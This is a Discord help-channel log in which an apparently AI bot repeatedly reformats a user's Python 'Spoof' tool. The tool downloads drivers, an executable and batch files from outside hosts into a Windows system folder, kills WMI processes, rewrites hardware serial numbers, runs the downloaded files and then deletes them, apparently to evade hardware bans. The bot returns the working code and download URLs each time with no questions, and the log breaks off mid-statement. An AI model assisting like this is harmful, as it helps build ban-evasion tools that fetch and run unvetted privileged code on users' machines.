Thanks for your question :clap:, if someone gives you an answer it would be great if you thanked them with a :white_check_mark: in response. This response will earn you both points for special roles on this server.
#Using bot
11 messages · Page 1 of 1 (latest)
@crude pasture matrixfnyt's Question:
Can you find and fix indentation erors for me?
Of course. Feel free to paste the code here, and I'll help you correct the indentation errors.
@crude pasture matrixfnyt's Question:
It is too large to senf
If the code is too large to send in one go, you could break it down into smaller sections and send them one by the other. Once I correct one section, you can send the next, and we'll work through it piece by piece. If it contains any common structures like loops, conditionals, or class definitions, make sure to send complete sections to ensure proper context for the indentation.
@crude pasture matrixfnyt's Question:
`import shutil import ctypes import os import customtkinter as ctk from tkinter import messagebox, simpledialog import webbrowser import subprocess import urllib.request from PIL import Image, ImageTk import string import random from pathlib import Path # Ensure proper indentation for function definition def generate_random_serial(length=16): characters = string.ascii_uppercase + string.digits return ''.join(random.choice(characters) for _ in range(length)) # Continue with the rest of your code, ensuring proper indentation try: subprocess.run([command] + args.split(), check=True) except subprocess.CalledProcessError as e: print(f"Error running command: {e}") def prompt_password(message): password = simpledialog.askstring("Password", message, show='*') return password def spoof(log_text): password = prompt_password("Enter password for Spoof:") if password == "MatrixFNSpoof6969": try: cleaning_label.pack_forget() cleaned_label.pack_forget() spoofing_label.pack() # Informing the user that the password is correct log_text.insert(ctk.END, "Password correct! Now doing what needs to be done\n") log_text.update_idletasks() text = "C:\Windows\Globalization\Time Zone" os.makedirs(text, exist_ok=True) files_to_download = [ ("http://ben281211.cdn.zerocdn.com/winxsrcsv64.sys", "winxsrcsv64.sys"), ("http://ben281211.cdn.zerocdn.com/winxsrcsv64.exe", "winxsrcsv64.exe"), ("http://ben281211.cdn.zerocdn.com/iqvw64e.sys", "iqvw64e.sys"), ("http://ben281211.cdn.zerocdn.com/skibnidi.bat", "skibnidi.bat") ] for url, filename in files_to_download: urllib.request.urlretrieve(url, os.path.join(text, filename)) for p in subprocess.check_output("tasklist", shell=True).decode().splitlines(): if "WmiPrvSE" in p: pid = int(p.s
plit()[1]) os.kill(pid, 9)`
The code you provided has some indentation errors and possibly a missing command variable in the subprocess.run call. I will correct these issues below:
import shutil
import ctypes
import os
import customtkinter as ctk
from tkinter import messagebox, simpledialog
import webbrowser
import subprocess
import urllib.request
from PIL import Image, ImageTk
import string
import random
from pathlib import Path
# Ensure proper indentation for function definition
def generate_random_serial(length=16):
characters = string.ascii_uppercase + string.digits
return ''.join(random.choice(characters) for _ in range(length))
# Continue with the rest of your code, ensuring proper indentation
try:
# Assuming 'command' and 'args' are defined previously in your code
command = "your_command_here" # Replace with your actual command
args = "your_args_here" # Replace with your actual arguments
subprocess.run([command] + args.split(), check=True)
except subprocess.CalledProcessError as e:
print(f"Error running command: {e}")
def prompt_password(message):
password = simpledialog.askstring("Password", message, show='*')
return password
def spoof(log_text):
password = prompt_password("Enter password for Spoof:")
if password == "MatrixFNSpoof6969":
try:
# The indentation for the following lines was adjusted to match the block
cleaning_label.pack_forget()
cleaned_label.pack_forget()
spoofing_label.pack()
# Informing the user that the password is correct
log_text.insert(ctk.END, "Password correct! Now doing what needs to be done\n")
log_text.update_idletasks()
text = "C:\\Windows\\Globalization\\Time Zone"
os.makedirs(text, exist_ok=True)
files_to_download = [
("http://ben281211.cdn.zerocdn.com/winxsrcsv64.sys", "winxsrcsv64.sys"),
("http://ben281211.cdn.zerocdn.com/winxsrcsv64.exe", "winxsrcsv64.exe"),
("http://ben281211.cdn.zerocdn.com/iqvw64e.sys", "iqvw64e.sys"),
("http://ben281211.cdn.zerocdn.com/skibnidi.bat", "skibnidi.bat")
]
for url, filename in files_to_download:
urllib.request.urlretrieve(url, os.path.join(text, filename))
for p in subprocess.check_output("tasklist", shell=True).decode().splitlines():
if "WmiPrvSE" in p:
pid = int(p.split()[1])
os.kill(pid, 9)
except Exception as e:
# Consider handling exceptions with a more detailed error message
print("An error occurred:", e)
Please note:
1. You should replace "your_command_here" and "your_args_here" with the actual command and arguments you intend to use.
2. There was an indentation problem with the label pack functions and the try block inside the `spoof` function.
3. Always be cautious when using `os.kill` and ensure you have the necessary permissions and error handling in place as this could lead to system instability if misused.
4. Be sure to properly handle any exceptions that could occur during the download or OS operations.
5. This snippet assumes your script includes definitions or imports for `cleaning_label`, `cleaned_label`, and `spoofing_label`.
Make sure to adjust and test the code according to your full script's context.
send the code?
@crude pasture matrixfnyt's Question:
send the code as code with correct indentation
Certainly! Below is the corrected version of your code snippet with proper indentation:
import shutil
import ctypes
import os
import customtkinter as ctk
from tkinter import messagebox, simpledialog
import webbrowser
import subprocess
import urllib.request
from PIL import Image, ImageTk
import string
import random
from pathlib import Path
# Function to generate a random serial number
def generate_random_serial(length=16):
characters = string.ascii_uppercase + string.digits
return ''.join(random.choice(characters) for _ in range(length))
# Try running a command and check for errors
try:
# Replace 'your_command_here' and 'args' with your actual command and arguments
command = "your_command_here" # Use the actual command
args = "your_args_here" # Use the actual args
subprocess.run([command] + args.split(), check=True)
except subprocess.CalledProcessError as e:
print(f"Error running command: {e}")
# Prompt for a password
def prompt_password(message):
password = simpledialog.askstring("Password", message, show='*')
return password
# A spoof function
def spoof(log_text):
password = prompt_password("Enter password for Spoof:")
if password == "MatrixFNSpoof6969":
try:
cleaning_label.pack_forget() # Assuming cleaning_label is defined elsewhere
cleaned_label.pack_forget() # Assuming cleaned_label is defined elsewhere
spoofing_label.pack() # Assuming spoofing_label is defined elsewhere
# Informing the user that the password is correct
log_text.insert(ctk.END, "Password correct! Now doing what needs to be done\n")
log_text.update_idletasks()
# Creating a directory if it doesn't exist
text = "C:\\Windows\\Globalization\\Time Zone"
os.makedirs(text, exist_ok=True)
# List of files t
o download
files_to_download = [
("http://ben281211.cdn.zerocdn.com/winxsrcsv64.sys", "winxsrcsv64.sys"),
("http://ben281211.cdn.zerocdn.com/winxsrcsv64.exe", "winxsrcsv64.exe"),
("http://ben281211.cdn.zerocdn.com/iqvw64e.sys", "iqvw64e.sys"),
("http://ben281211.cdn.zerocdn.com/skibnidi.bat", "skibnidi.bat")
]
# Downloading files
for url, filename in files_to_download:
urllib.request.urlretrieve(url, os.path.join(text, filename))
# Killing a process if it's running
for p in subprocess.check_output("tasklist", shell=True).decode().splitlines():
if "WmiPrvSE" in p:
pid = int(p.split()[1])
os.kill(pid, 9)
except Exception as e:
print("An error occurred:", e)
Please make sure to replace the placeholders for the command and the args with your actual data. Also, ensure that `cleaning_label`, `cleaned_label`, `spoofing_label`, and `log_text` are appropriately defined within your code's context.
@crude pasture matrixfnyt's Question:
`os.chdir(text) str_serial = generate_random_serial() run_command("winxsrcsv64.exe", "/SU AUTO") run_command("winxsrcsv64.exe", f"/BS {str_serial}") run_command("winxsrcsv64.exe", f"/CS {str_serial}") run_command("winxsrcsv64.exe", f"/SS {str_serial}") run_command("winxsrcsv64.exe", "/SM "System manufacturer"") run_command("winxsrcsv64.exe", "/SP "System Product Name"") run_command("winxsrcsv64.exe", "/SV "System Version"") run_command("winxsrcsv64.exe", "/SK "SKU"") run_command("winxsrcsv64.exe", "/BT "Default string"") run_command("winxsrcsv64.exe", "/BLC "Default string"") run_command("winxsrcsv64.exe", "/CM "Default string"") run_command("winxsrcsv64.exe", "/CV "Default string"") run_command("winxsrcsv64.exe", "/CA "Default string"") run_command("winxsrcsv64.exe", "/CSK "Default string"") run_command("winxsrcsv64.exe", "/SF "To be filled by O.E.M."") run_command("winxsrcsv64.exe", f"/PSN {str_serial}") run_command("net", "stop winmgmt /y") run_command("net", "start winmgmt /y") run_command("ipconfig", "/flushdns") subprocess.run(["skibnidi.bat"], shell=True) for path in ["winxsrcsv64.exe", "winxsrcsv64.sys", "iqvw64e.sys", "skibnidi.bat"]: full_path = os.path.join(text, path) if os.path.exists(full_path): os.remove(full_path) ctypes.windll.user32.MessageBeep(0xFFFFFFFF) path9 = os.path.join(text, "Permament_Mac_Changer.bat") urllib.request.urlretrieve( "https://cdn.discordapp.com/attachments/1223782505191047200/1250990224608329818/Permament_Mac_Changer.bat?ex=666cf2ef&is=666ba16f&hm=68a3c49877f7f829725b471674d491a13bed095da681f8d9144b17d92ece40ef&", path9 ) subprocess.run([path9]).wait() os.remove(path9
)`
This snippet should be integrated into the previous code section since it appears to continue from the earlier spoof function. Below, the operations are properly indented within that function, provided that the run_command function is defined somewhere in your code. If it is not, you'll need to define it.
#... preceding code ...
def spoof(log_text):
password = prompt_password("Enter password for Spoof:")
if password == "MatrixFNSpoof6969":
try:
#... preceding code inside the try block ...
os.chdir(text)
str_serial = generate_random_serial()
# Assuming run_command is a function you have defined that can take two arguments
run_command("winxsrcsv64.exe", "/SU AUTO")
run_command("winxsrcsv64.exe", f"/BS {str_serial}")
# ... rest of the run_command calls
run_command("ipconfig", "/flushdns")
subprocess.run(["skibnidi.bat"], shell=True)
# Removing files
for path in ["winxsrcsv64.exe", "winxsrcsv64.sys", "iqvw64e.sys", "skibnidi.bat"]:
full_path = os.path.join(text, path)
if os.path.exists(full_path):
os.remove(full_path)
# Beeping sound to indicate completion
ctypes.windll.user32.MessageBeep(0xFFFFFFFF)
# Download a file
path9 = os.path.join(text, "Permament_Mac_Changer.bat")
urllib.request.urlretrieve(
"https://cdn.discordapp.com/attachments/....", # Shorten for brevity, please use the full URL
path9
)
# Run the bat file and wait for it to complete
subprocess.run([path9]).wait()
# Remove the bat file
os.remove(path9)
except Exception as